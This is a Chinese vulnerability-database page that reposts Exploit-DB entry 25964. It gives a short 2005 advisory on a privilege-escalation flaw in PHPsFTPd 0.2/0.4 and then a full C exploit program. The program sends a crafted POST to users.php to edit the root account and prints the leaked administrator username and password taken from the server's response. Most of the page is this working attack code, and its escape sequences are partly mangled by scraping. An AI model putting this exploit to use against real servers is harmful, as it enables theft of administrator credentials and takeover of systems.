PHPsFTPd 0.2/0.4 – ‘Inc.login.php’ Privilege Escalation

PHPsFTPd 0.2/0.4 – ‘Inc.login.php’ Privilege Escalation

漏洞ID 1055244 漏洞类型
发布时间 2005-07-11 更新时间 2005-07-11
图片[1]-PHPsFTPd 0.2/0.4 – ‘Inc.login.php’ Privilege Escalation-安全小百科CVE编号 N/A
图片[2]-PHPsFTPd 0.2/0.4 – ‘Inc.login.php’ Privilege Escalation-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/25964
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/14222/info

PHPsFTPd is affected by a privilege escalation vulnerability. PHPsFTPd is affected by a privilege escalation vulnerability. This issue is due to a failure in 'inc.login.php' when processing login credentials.

An attacker can exploit this vulnerability to retrieve the administrator username and password. This could aid in further attacks against the underlying system; other attacks are also possible. 

// PHPsFTPd Admin Password Leak
// tested on a WinXP SP1 box
// Author: Stefan Lochbihler
// Date:   11. Juli 2005


#include "stdafx.h"
#include "stdio.h"
#include "winsock2.h"

#pragma comment (lib,"ws2_32")

#define PORT 80
#define rootdir "/phpsftpd/"


typedef unsigned long ulong;


void usage(char *);
ulong checkhost(char *);



ulong checkhost(char *host)
{
struct hostent *hp;
ulong host_ip=0;

host_ip=inet_addr(host);
if(host_ip==INADDR_NONE){
    hp=gethostbyname(host);
if(!hp){
     printf("unable to resolv host...n");
        exit(1);
        }

   host_ip= *(ulong*)hp->h_addr;

}

return host_ip;

}


void usage (char *progn){

printf("Usage[%s]: www.targethost.comn",progn);
exit(0);

}


int main(int argc, char* argv[])
{

   WSADATA wsa;
   SOCKET client;
   WORD wsVersion;

   char httpRequest[1024];
   char recvBuffer[1024];

   char *p;

   struct sockaddr_in addr;
   int err=0,recvSize=0;

   printf("PHPsFTPd Exploit v0.1 (c) by Steve mailto:[email protected]");

     if(argc<2)
      usage(argv[0]);


wsVersion=MAKEWORD(2,0);

   if(err=WSAStartup(wsVersion,&wsa)){
    printf("Error: WSAStartupn");
    exit(0);
}


    client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(client==INVALID_SOCKET){
    printf("Error: Create Socketn");
    exit(0);
}


addr.sin_addr.s_addr = checkhost(argv[1]);
addr.sin_port = htons(PORT);
addr.sin_family = AF_INET;


memset(httpRequest,'',sizeof(httpRequest));

strncat(httpRequest,"POST ",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,rootdir,sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"users.php?action=edit&username=root
HTTP/1.1rn",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"User-Agent: PHPSFTPD ACCOUNT
MANAGERrn",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"Host:
www.targethost.comrn",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"Content-Type:
application/x-www-form-urlencodedrn",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"Content-Length:
13rn",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"rn",sizeof(httpRequest)-strlen(httpRequest)-1);
strncat(httpRequest,"do_login=truern",sizeof(httpRequest)-strlen(httpRequest)-1);

err=connect(client,(SOCKADDR*)&addr,sizeof(addr));

//Get Http Stuff
send(client,httpRequest,strlen(httpRequest),0);
recvSize=recv(client,recvBuffer,sizeof(recvBuffer)-1,0);
recvBuffer[recvSize]='';
//Get username & password
recvSize=recv(client,recvBuffer,sizeof(recvBuffer)-1,0);
recvBuffer[recvSize]='';


//shit when anyone use a 0x20 on his password
p=strstr(recvBuffer,"value=");
printf("Username:");

for(p=p+6;*p!=0x20;p++)
putc(*p,stdout);

p=strstr(p,"value=");

printf("n");
printf("Password:");

for(p=p+6;*p!=0x20;p++)
putc(*p,stdout);


closesocket(client);
WSACleanup();

printf("n");
return 0;
}

相关推荐: Dick Lin ZetaMail 2.1 – Login Denial of Service

Dick Lin ZetaMail 2.1 – Login Denial of Service 漏洞ID 1053428 漏洞类型 发布时间 1999-11-18 更新时间 1999-11-18 CVE编号 N/A CNNVD-ID N/A 漏洞平台 Wind…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享